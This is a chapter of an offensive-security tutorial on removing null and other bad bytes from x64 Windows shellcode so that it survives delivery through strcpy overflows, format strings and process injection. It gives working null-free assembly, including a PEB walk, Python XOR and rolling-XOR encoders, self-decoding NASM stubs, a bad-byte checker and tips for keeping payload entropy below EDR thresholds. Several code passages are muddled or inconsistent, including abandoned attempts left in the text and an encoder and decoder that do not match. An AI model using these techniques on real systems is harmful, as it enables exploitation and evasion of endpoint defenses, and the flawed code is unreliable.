Null-Free Shellcode
Null bytes in shellcode are not an academic concern — they actively break delivery. The moment your shellcode travels through a strcpy, a string-parsing routine, a UTF-8 decoder, or a format string handler, any 0x00 byte terminates the copy. The injected payload is truncated, and it crashes on the first instruction. This chapter explains the three structural sources of null bytes in compiled and hand-written shellcode, and gives you a complete toolkit to eliminate all of them. After this chapter, verifying "no null bytes" is the first thing you check before every delivery test.
Why Null Bytes Break Delivery
The vulnerability the shellcode exploits almost always involves a string operation somewhere. Stack overflows, heap overflows, format strings — they all travel through code that treats 0x00 as a string terminator or otherwise handles it as a special character. Even delivery paths that don't exploit a bug (VBA macro downloading shellcode as Base64) may run the decoded payload through a buffer that was originally sized with strlen().
Delivery path: Classic stack buffer overflow via strcpy()
─────────────────────────────────────────────────────────────────
strcpy(dst, user_input)
│
├── strcpy reads your shellcode byte by byte
├── At the first 0x00, it writes 0x00 to dst and STOPS
└── Everything after the null is never copied → payload truncated
Delivery path: sprintf() format string exploit
─────────────────────────────────────────────────────────────────
The format string is treated as a C string → null terminates it early
Delivery path: Userland injection via WriteProcessMemory
─────────────────────────────────────────────────────────────────
WriteProcessMemory doesn't care about null bytes — it writes raw bytes.
However: if you BUILD the shellcode into a C string literal like:
char shellcode[] = "\x48\x31\xC0\x00\xB9\x60\x00\x00\x00...";
WriteProcessMemory(hProc, addr, shellcode, sizeof(shellcode), NULL);
The sizeof() is correct but: if your shellcode bytes come from an API
that treats them as a string at any point before WPM, you're truncated.
Delivery path: Registry Run key or command line
─────────────────────────────────────────────────────────────────
Command line arguments are null-terminated strings. A null byte in
the middle of a Base64-encoded payload terminates it early.
Bottom line: null bytes are safe ONLY with WPM, recv(), or raw
memory copies where the length is always passed explicitly.
For any other path, all 0x00 bytes must be eliminated.The Three Root Causes of Null Bytes
Before you can eliminate null bytes, you need to know where they come from. There are three structural sources, and each has different fixes:
Source 1: Small integer constants in 64-bit instructions
─────────────────────────────────────────────────────────────────
mov rax, 0x1000
Encoding: 48 B8 00 10 00 00 00 00 00 00
^^^^^^^^^^^^^^^^^^^^^^^^^^^ null bytes (64-bit immediate)
mov rcx, 5
Encoding: 48 C7 C1 05 00 00 00
^^^^^^^^ three null bytes (32-bit sign-extended imm)
Source 2: Zero registers
─────────────────────────────────────────────────────────────────
xor rax, rax
Encoding: 48 31 C0
No null bytes! ✓ But the VALUE in RAX is 0x00, which becomes a null
byte if stored in memory as a data value. This is a data null, not an
encoding null — different problem.
mov qword [rbx], 0 ; write a zero DWORD to memory
Encoding: 48 C7 03 00 00 00 00 ← null bytes in the instruction!
Source 3: Addressing with zero-padded offsets
─────────────────────────────────────────────────────────────────
mov rax, [gs:0x60]
Encoding: 65 48 8B 04 25 60 00 00 00 ← null bytes in the absolute addr
lea rcx, [rip+0x200]
Encoding varies — if offset has null bytes, they appear in the encoding
mov byte [rax+0x100], 0
Encoding: C6 80 00 01 00 00 00 ← null byte in offset AND valueFixing Source 1 — Small Constants in 64-bit Instructions
The core insight: you don't need to encode the zero bytes — you need the value they produce. Generate the same value through arithmetic that avoids embedding zeros:
Technique A: XOR-clear a register, then use 32-bit sub-register writes
; Target: get 0x1000 into RAX without null bytes
; BAD — generates null bytes:
mov rax, 0x1000 ; encoding: 48 B8 00 10 00 00 00 00 00 00
; BAD — still generates null bytes (32-bit immediate sign-extended):
mov eax, 0x1000 ; encoding: B8 00 10 00 00 (null bytes in imm)
; wait: 0x1000 = 4096, encoding: B8 00 10 00 00 — still has 00s
; GOOD — split the value:
push 0x41414141 ; push garbage into stack
pop rax ; rax = 0x41414141 (no null bytes in instructions)
sub rax, 0x40404141 ; rax = 0x41414141 - 0x40404141 = 0x01010000? no...
; This approach: pick arbitrary non-null operand, subtract to reach target
; 0x41414141 - 0x40404141 = 0x01010000 — still has null bytes in the result value
; The operands are null-free but the result may not be
; BETTER approach for 0x1000:
push 0x41 ; push 0x41 (= 'A')
pop rcx ; rcx = 0x41
sub cl, 0x41 ; cl = 0 — but "sub cl, 0x41" has no null bytes
; and rcx = 0x00...0041 - 0x41 = 0 — zero register
shl rcx, 12 ; rcx = 0 << 12 = 0? No — we want 1 shifted left 12
; Correct approach:
xor ecx, ecx ; ecx = 0 (encoding: 31 C9, no nulls)
inc ecx ; ecx = 1 (encoding: FF C1, no nulls)
shl ecx, 12 ; ecx = 0x1000 (encoding: C1 E1 0C, no nulls!)
; ✓ ecx = 0x1000 with zero null bytes in all encoding bytes
Technique B: SUB from a non-null value
; Get 0x3000 (MEM_COMMIT | MEM_RESERVE) into R8:
; Approach: use a known non-null constant and subtract to reach target
; 0x3000 has null bytes in its little-endian encoding: 00 30 00 00
; But as a value in a register, it's fine — we just need the instructions to be null-free.
; The instruction "mov r8d, 0x3000" encodes as: 41 B8 00 30 00 00 — null bytes in imm32!
; Fix: construct via shift
xor r8d, r8d ; r8 = 0 (encoding: 45 31 C0)
inc r8d ; r8 = 1 (encoding: 41 FF C0)
shl r8d, 1 ; r8 = 2 (no null)
shl r8d, 11 ; r8 = 0x1000 (shl by 11: 45 C1 E0 0B)
mov r9d, r8d ; r9 = 0x1000 copy
add r8d, r8d ; r8 = 0x2000
add r8d, r9d ; r8 = 0x3000 ✓ MEM_COMMIT | MEM_RESERVE
Technique C: Byte-by-byte construction for large values
; Get 0xDEADBEEF into RAX without null bytes in any instruction:
; Observation: 0xDE = 0xDE, 0xAD = 0xAD, 0xBE = 0xBE, 0xEF = 0xEF
; None of these bytes are 0x00 — so the bytes of the VALUE are fine.
; The issue is that the instruction encoding has zero padding:
; "mov eax, 0xDEADBEEF" = B8 EF BE AD DE — no null bytes here! ✓
; But: "mov rax, 0x00000000DEADBEEF" = 48 B8 EF BE AD DE 00 00 00 00 — null bytes!
; If the HIGH DWORD of the constant is 0, use 32-bit mov (zero-extends for free):
mov eax, 0xDEADBEEF ; B8 EF BE AD DE — no null bytes because all 4 bytes of EAX
; are non-zero. Zero-extension fills upper 32 bits with 0x00
; but those 0x00s are NOT in the instruction bytes — they're
; in the register as a result of the operation.
; Rule: if each byte of your 32-bit constant is non-zero, use "mov eax, const" (32-bit)
; The zero-extension is automatic and the instruction bytes are clean.
; If the constant itself has null bytes (like 0x3000 = 0x00003000):
; Use shift+increment construction as above to avoid embedding 0x00 in imm32.
There are two different kinds of "zero" to avoid: (1) zero bytes in the instruction encoding — these break string-copy delivery; (2) zero values in data — these break string-comparison operations. Technique A (shift+increment) gives you the right value via instructions that have no zero bytes in their encoding. Whether that value itself contains zero bytes (like 0x3000) only matters if the value is later treated as a string, which it usually isn't — it's a flag or size, not data written to a buffer.
Fixing the GS:[0x60] Null Byte Problem
From Chapter 6: mov rax, qword [gs:0x60] encodes as 65 48 8B 04 25 60 00 00 00 — three trailing null bytes (the absolute address 0x00000060 padded to 32 bits). This is the most common null byte hit in PEB-walking shellcode:
; Problem: mov rax, [gs:0x60] → 65 48 8B 04 25 60 00 00 00
; Fix 1: Use a register to hold the offset (loads offset into register first)
xor eax, eax ; eax = 0 (31 C0)
mov al, 0x60 ; al = 0x60 (B0 60) — single byte imm, no nulls
mov rax, [gs:rax] ; encoding: 65 48 8B 00 — only 4 bytes, NO null bytes!
; But: "mov rax, [gs:rax]" — can we encode gs segment override with a register?
; Encoding: 65 48 8B 00 — this means [rax], the 0x60 was NOT embedded! Let's verify:
; Actually: "mov rax, qword [gs:rax]" in NASM → 65 48 8B 00 — yes, no null bytes ✓
; The offset 0x60 is now a register value, not an immediate in the instruction.
; Fix 2: Use a segment of a different instruction (NtCurrentTeb trick)
; mov eax, [gs:0x30] → reads TEB.NtTib.Self (32-bit! Truncates on x64)
; In x64: gs:[0x30] = TEB* (32-bit pointer in WoW64 layout — NOT useful)
; gs:[0x60] = PEB* in the actual 64-bit TEB
; Fix 2 doesn't apply cleanly to x64 — use Fix 1.
; Fix 3: Read from TEB.Self to get TEB*, then add 0x60 to reach PEB*
; gs:[0x30] in x64 = the 32-bit TIB Self field — this also has null bytes in encoding.
; Best fix for null-free shellcode: Fix 1 (load offset via register)
xor eax, eax ; RAX = 0
mov al, 0x60 ; RAX = 0x60 (no null bytes in encoding: 31C0 B060)
mov rax, [gs:rax] ; RAX = PEB* (no null bytes in encoding: 65 48 8B 00)
; Alternative: use NtCurrentTeb() behavior via GS:[0x30] pointer
; In x64 Windows, gs:[0x30] points to NtTib.Self, which is the TEB itself.
; From TEB, PEB is at +0x60.
; This approach chains two null-free reads:
xor eax, eax
mov al, 0x30 ; al = 0x30 (TEB.NtTib.Self offset)
mov rax, [gs:rax] ; rax = TEB* (the Self pointer — this is the TEB base address)
mov rax, [rax+0x60]; rax = PEB* (from TEB + 0x60)
; Encoding of last instruction: 48 8B 40 60 — 0x60 is a 1-byte displacement — NO null bytes! ✓
; Because displacements fit in a signed byte if <= 0x7F — no padding needed.
Zeroing Registers Without Zero Bytes
Setting a register to zero is one of the most common operations in shellcode, and the naive way generates null bytes:
BAD — common approaches with null bytes:
─────────────────────────────────────────────────────────────────
mov rcx, 0 ; 48 C7 C1 00 00 00 00 — four null bytes
mov ecx, 0 ; B9 00 00 00 00 — four null bytes
mov rcx, 0x00 ; same as above
GOOD — null-free zero patterns:
─────────────────────────────────────────────────────────────────
xor ecx, ecx ; 31 C9 — zero RCX with no null bytes (2 bytes total!)
xor rcx, rcx ; 48 31 C9 — same but with REX prefix (3 bytes)
→ Use "xor ecx, ecx" — shorter, zero-extends to clear RCX too.
sub ecx, ecx ; 29 C9 — also null-free, same effect as XOR
imul ecx, ecx, 0 ; 6B C9 00 — has a null byte (the 0 immediate) — BAD
For conditional zeroing (zero only sometimes):
push 0x41
pop rcx ; rcx = 0x41
sub cl, 0x41 ; cl = 0, rcx = 0 (zero-extends if using sub ecx, 0x41)
; "sub cl, 0x41" = 80 E9 41 — no null bytes ✓
Zeroing memory at [rbx+offset]:
BAD: mov qword [rbx+0x10], 0 ; C7 43 10 00 00 00 00 — null bytes in imm
GOOD: xor eax, eax
mov qword [rbx+0x10], rax ; 48 89 43 10 — no null bytes ✓Beyond Null Bytes — Other Bad Byte Sets
Null (0x00) is the most common bad byte, but different injection paths have different constraints. Know your delivery path and verify accordingly:
Delivery path │ Forbidden bytes
─────────────────────────────────┼────────────────────────────────────────
strcpy() / strcat() │ 0x00 (null terminator)
─────────────────────────────────┼────────────────────────────────────────
gets() / scanf("%s") │ 0x00, 0x0A (\n — newline terminates)
─────────────────────────────────┼────────────────────────────────────────
Bash command-line argument │ 0x00, 0x20 (space separates args),
│ 0x09 (tab), 0x0A (newline)
─────────────────────────────────┼────────────────────────────────────────
URL path (web exploit) │ 0x00, 0x20, 0x0D, 0x0A, 0x2F (/),
│ 0x3F (?), 0x23 (#), 0x25 (%)
│ (or URL-encode them: 0x25 → %25)
─────────────────────────────────┼────────────────────────────────────────
Windows ANSI string via Registry │ 0x00
─────────────────────────────────┼────────────────────────────────────────
UTF-8 text channel │ 0x00, any byte > 0x7F that forms
│ an invalid UTF-8 sequence
─────────────────────────────────┼────────────────────────────────────────
POST body parsed by PHP/strstr │ 0x00, and 0x26 (&) if in form data
─────────────────────────────────┼────────────────────────────────────────
Full custom encoder solution: │ If you can't eliminate all bad bytes,
│ use the encoder from Chapter 10 to
│ re-encode the entire payload, reducing
│ the decoder to a stub with known-good bytesSingle-Pass XOR Encoding — Covering Any Bad Byte Set
When structure-level null elimination isn't enough (too many bad bytes, too complex to track manually), encode the entire payload. Single-byte XOR is the simplest and most transparent approach — the decoder stub is tiny and contains no bad bytes if designed carefully:
#!/usr/bin/env python3
"""
xor_encode.py — single-byte XOR encoder with bad-byte verification.
Tries all 256 key values and picks the one that produces no bad bytes.
"""
def xor_encode(payload: bytes, key: int) -> bytes:
return bytes(b ^ key for b in payload)
def has_bad_bytes(data: bytes, bad_set: set) -> bool:
return any(b in bad_set for b in data)
def find_clean_key(payload: bytes, bad_bytes: set) -> int | None:
"""Try all keys 0x01-0xFF; find one that produces clean encoded output."""
for key in range(0x01, 0x100):
if key in bad_bytes:
continue # key itself can't be a bad byte
encoded = xor_encode(payload, key)
if not has_bad_bytes(encoded, bad_bytes):
return key
return None # no single-key solution — use rolling XOR
def generate_header(key: int, length: int) -> str:
return (
f" Key: 0x{key:02X}\n"
f" Length: {length} bytes\n"
f" Decoder: XOR each byte with 0x{key:02X} at runtime"
)
if __name__ == "__main__":
import sys
# Example payload: the raw shellcode bytes
with open(sys.argv[1], 'rb') as f:
payload = f.read()
bad_bytes = {0x00} # add more: {0x00, 0x0A, 0x0D}
print(f"Payload size: {len(payload)} bytes")
print(f"Bad bytes: {', '.join(f'0x{b:02X}' for b in sorted(bad_bytes))}\n")
key = find_clean_key(payload, bad_bytes)
if key is not None:
encoded = xor_encode(payload, key)
print(f"Found clean key: 0x{key:02X}")
print(generate_header(key, len(encoded)))
# Write encoded payload
out_path = sys.argv[1] + f".xor{key:02X}.bin"
with open(out_path, 'wb') as f:
f.write(encoded)
print(f"\nEncoded payload written to: {out_path}")
# Verify
assert not has_bad_bytes(encoded, bad_bytes), "BUG: encoded output contains bad bytes!"
assert xor_encode(encoded, key) == payload, "BUG: decode check failed!"
print("Verification passed ✓")
else:
print("No single-byte XOR key produces clean output.")
print("Use rolling XOR (see Chapter 10) or a multi-pass encoder.")
The corresponding decoder stub in NASM — this runs at the start of your shellcode to decode itself in-place:
; xor_decoder.asm — single-byte XOR decoder stub
; Place this at the start of your shellcode. The encoded payload follows immediately.
; Constants:
XOR_KEY equ 0x3F ; the key you found with xor_encode.py (must be non-null!)
PAYLOAD_LEN equ 0x200 ; length of encoded payload in bytes
BITS 64
section .text
global decoder_stub
decoder_stub:
; Get the address of the encoded payload (immediately after this stub)
; Use call/pop pattern for PIC (works even without RIP-relative addressing)
call .get_rip
.get_rip:
pop rdi ; rdi = address of .get_rip label
; Calculate address of encoded payload (follows immediately after the call instruction)
; Our call + pop = 6 bytes, so encoded payload is at rdi + sizeof_stub_remaining
; Simpler: use a fixed offset computed at build time.
; For this example, the encoded payload starts immediately after "jmp .done_decode":
add rdi, (.payload_start - .get_rip) ; rdi → encoded payload
; Decode: XOR each byte with the key
mov ecx, PAYLOAD_LEN ; loop counter
.decode_loop:
xor byte [rdi], XOR_KEY ; decode one byte in-place
inc rdi ; advance
dec ecx
jnz .decode_loop
; Jump to now-decoded payload
sub rdi, PAYLOAD_LEN
jmp rdi
.payload_start:
; Encoded payload bytes go here
; db 0x?? (output of xor_encode.py)
The stub runs through the same delivery path as the payload it decodes. If the stub contains null bytes, delivery fails before the decoder even starts. Verify the stub separately: assemble it, extract the bytes, check for nulls. The stub above has been written to avoid any null byte in its encoding — verify by running
objdump -d decoder.obj and checking for 00 bytes in the hex dump.Rolling XOR — When a Single Key Won't Work
If no single-byte XOR key produces null-free output (this happens with payloads that happen to have many varied bytes), rolling XOR (also called chained XOR) uses the previous encoded byte as part of the key. This virtually guarantees clean output:
def rolling_xor_encode(payload: bytes, initial_key: int) -> bytes:
"""
Each byte is XORed with: initial_key XOR previous_encoded_byte.
This creates a chained dependency that prevents repeated patterns.
"""
encoded = bytearray()
key = initial_key
for byte in payload:
enc = byte ^ key
encoded.append(enc)
key = enc ^ initial_key # next key depends on this byte
# Or simpler: key = enc # next key = previous encoded byte
return bytes(encoded)
; Rolling XOR decoder stub
; Each byte is decoded as: plaintext[i] = encoded[i] XOR (initial_key XOR encoded[i-1])
; Or simpler version: plaintext[i] = encoded[i] XOR encoded[i-1], where initial_key = encoded[-1]
; (use the last byte of the encoded block as the starting key, prepend it to the block)
BITS 64
decoder_rolling:
call .get_addr
.get_addr:
pop rsi ; rsi = this address
add rsi, (.payload - .get_addr) ; rsi = encoded payload start
mov ecx, PAYLOAD_LEN
; Initial key is stored in first byte of the prefix we prepended
; (or use a hardcoded initial key — both work)
mov al, INITIAL_KEY ; al = starting key byte
.decode:
mov bl, byte [rsi] ; bl = encoded byte
xor bl, al ; decode: bl = encoded XOR key
mov al, byte [rsi] ; al = encoded byte (becomes next key)
mov byte [rsi], bl ; write decoded byte back
inc rsi
dec ecx
jnz .decode
; Jump to decoded payload
sub rsi, PAYLOAD_LEN
jmp rsi
.payload:
; Rolling-XOR encoded bytes here
Verification Script — Check Every Build
Make this the last step in your shellcode build pipeline, run automatically before any delivery testing. Never deploy shellcode you haven't verified:
#!/usr/bin/env python3
"""
verify_shellcode.py — check for bad bytes and report statistics.
Run this against your final shellcode binary before any test.
"""
import sys, os, struct
BAD_BYTES_NULL_ONLY = {0x00}
BAD_BYTES_STRING = {0x00, 0x0A, 0x0D}
BAD_BYTES_URL = {0x00, 0x20, 0x0A, 0x0D, 0x2F, 0x3F, 0x23}
BAD_BYTES_BASH = {0x00, 0x20, 0x09, 0x0A, 0x0D}
def check_shellcode(path: str, bad_set: set, label: str) -> bool:
with open(path, 'rb') as f:
data = f.read()
found = [(i, b) for i, b in enumerate(data) if b in bad_set]
print(f"\n{'='*60}")
print(f"File: {path}")
print(f"Size: {len(data)} bytes")
print(f"Profile: {label}")
print(f"Bad set: {', '.join(f'0x{b:02X}' for b in sorted(bad_set))}")
if found:
print(f"\nFAIL — {len(found)} bad byte(s) found:")
for offset, byte in found[:20]: # show first 20
context = data[max(0,offset-2):offset+3]
ctx_str = ' '.join(f'{b:02X}' for b in context)
print(f" [0x{offset:04X}] 0x{byte:02X} context: {ctx_str}")
if len(found) > 20:
print(f" ... and {len(found)-20} more")
return False
else:
print(f"\nPASS — no bad bytes found ✓")
# Entropy report
counts = [0]*256
for b in data: counts[b] += 1
entropy = sum(-c/len(data) * __import__('math').log2(c/len(data))
for c in counts if c > 0)
print(f"Entropy: {entropy:.2f} bits/byte "
f"({'high — good for encoded payload' if entropy > 6.5 else 'low — may look suspicious to EDR'})")
return True
if __name__ == '__main__':
path = sys.argv[1]
profile = sys.argv[2] if len(sys.argv) > 2 else 'null'
profiles = {
'null': BAD_BYTES_NULL_ONLY,
'string': BAD_BYTES_STRING,
'url': BAD_BYTES_URL,
'bash': BAD_BYTES_BASH,
}
ok = check_shellcode(path, profiles.get(profile, BAD_BYTES_NULL_ONLY), profile)
sys.exit(0 if ok else 1)
# Use in your Makefile:
nasm -f bin shellcode.asm -o shellcode.bin
python3 verify_shellcode.py shellcode.bin null # check null bytes only
# or:
python3 verify_shellcode.py shellcode.bin string # check for string-path bad bytes
Questions & Answers
Does WriteProcessMemory care about null bytes in the shellcode?
WriteProcessMemory itself does not — it takes an explicit byte count (nSize) and copies exactly that many bytes regardless of content. The null bytes don't matter at the WPM stage. However, if anything in your chain leading up to WPM treated the shellcode as a string — your own code building the byte array from a C string literal, a script that base64-decodes into a buffer and then applies some string manipulation, an API call that accepts the shellcode as a "command" or "path" — those steps can truncate. The safest rule: assume all shellcode must be null-free unless you can read and verify every byte of the delivery chain. The cost of unnecessary null-free compliance is a slightly more complex build; the cost of undetected truncation is shellcode that sometimes fails and is nearly impossible to debug.
If I XOR encode the payload, why do I still need to fix the GS:[0x60] instruction?
Because the XOR decoder stub itself must be null-free. The stub is what runs first, before any decoding happens. The stub's bytes travel through the same string-copy delivery path and can be truncated at a null byte. The encoded payload (which may also be null-free if you chose a good key) comes after the stub. The stub must be cleanly encodable without null bytes in its own instruction bytes, independent of any encoding scheme — because it runs decoded, in plaintext form, from the moment the instruction pointer lands on your shellcode. GS:[0x60] with null bytes in the stub would kill delivery. Fix the stub first, then the encoded payload is secondary concern.
Can I always find a single-byte XOR key that avoids null bytes?
Almost always, but not guaranteed. For a completely random payload, the probability that at least one of the 255 non-zero keys produces null-free output is very high (each key independently has a ~(1-1/256)^N chance of avoiding nulls for N bytes). But with specific shellcode that has structured patterns, you might get unlucky. In practice, for typical shellcodes of a few hundred bytes, a clean key almost always exists. When it doesn't, rolling XOR is the reliable fallback — it changes the key after each byte, making it statistically nearly impossible for a specific bad byte to appear in the output.
What about UNICODE strings — does UTF-16 encoding create systematic null bytes?
Yes, and this is a specific concern for shellcode delivered through certain Windows API paths. UTF-16LE (Windows native Unicode) encodes ASCII characters as two bytes where the second is 0x00: 'k' → 0x6B 0x00. If your shellcode is injected through a Unicode string API (CreateRemoteThread with a Unicode command line, a WriteProcessMemoryUnicode path, or similar), the automatic ASCII-to-Unicode expansion adds 0x00 after every character of your shellcode. The fix is to use an encoder that produces output where every byte is the upper byte of a valid BMP Unicode character — or to use a dedicated Unicode-safe shellcode encoder (msfvenom has --encoder cmd/powershell_base64 for exactly this purpose).
How does entropy relate to detection when I use XOR encoding?
A high-entropy buffer (close to 8 bits/byte, typical of encrypted or encoded data) looks unusual to EDRs that do entropy-based detection. A compressed executable or random bytes has high entropy; a typical PE file or a script has lower entropy. XOR-encoded shellcode usually has high entropy (because random bytes after XOR with a fixed key remain approximately uniform). Some EDRs flag VirtualAlloc'd regions with entropy > 7.0 bits/byte as suspicious. Mitigations: use an encoding scheme that produces predictable, low-entropy output (like repeated patterns), or mix in padding bytes that reduce entropy at the cost of increased size. Chapter 10 covers more sophisticated encoders designed to produce specific entropy profiles.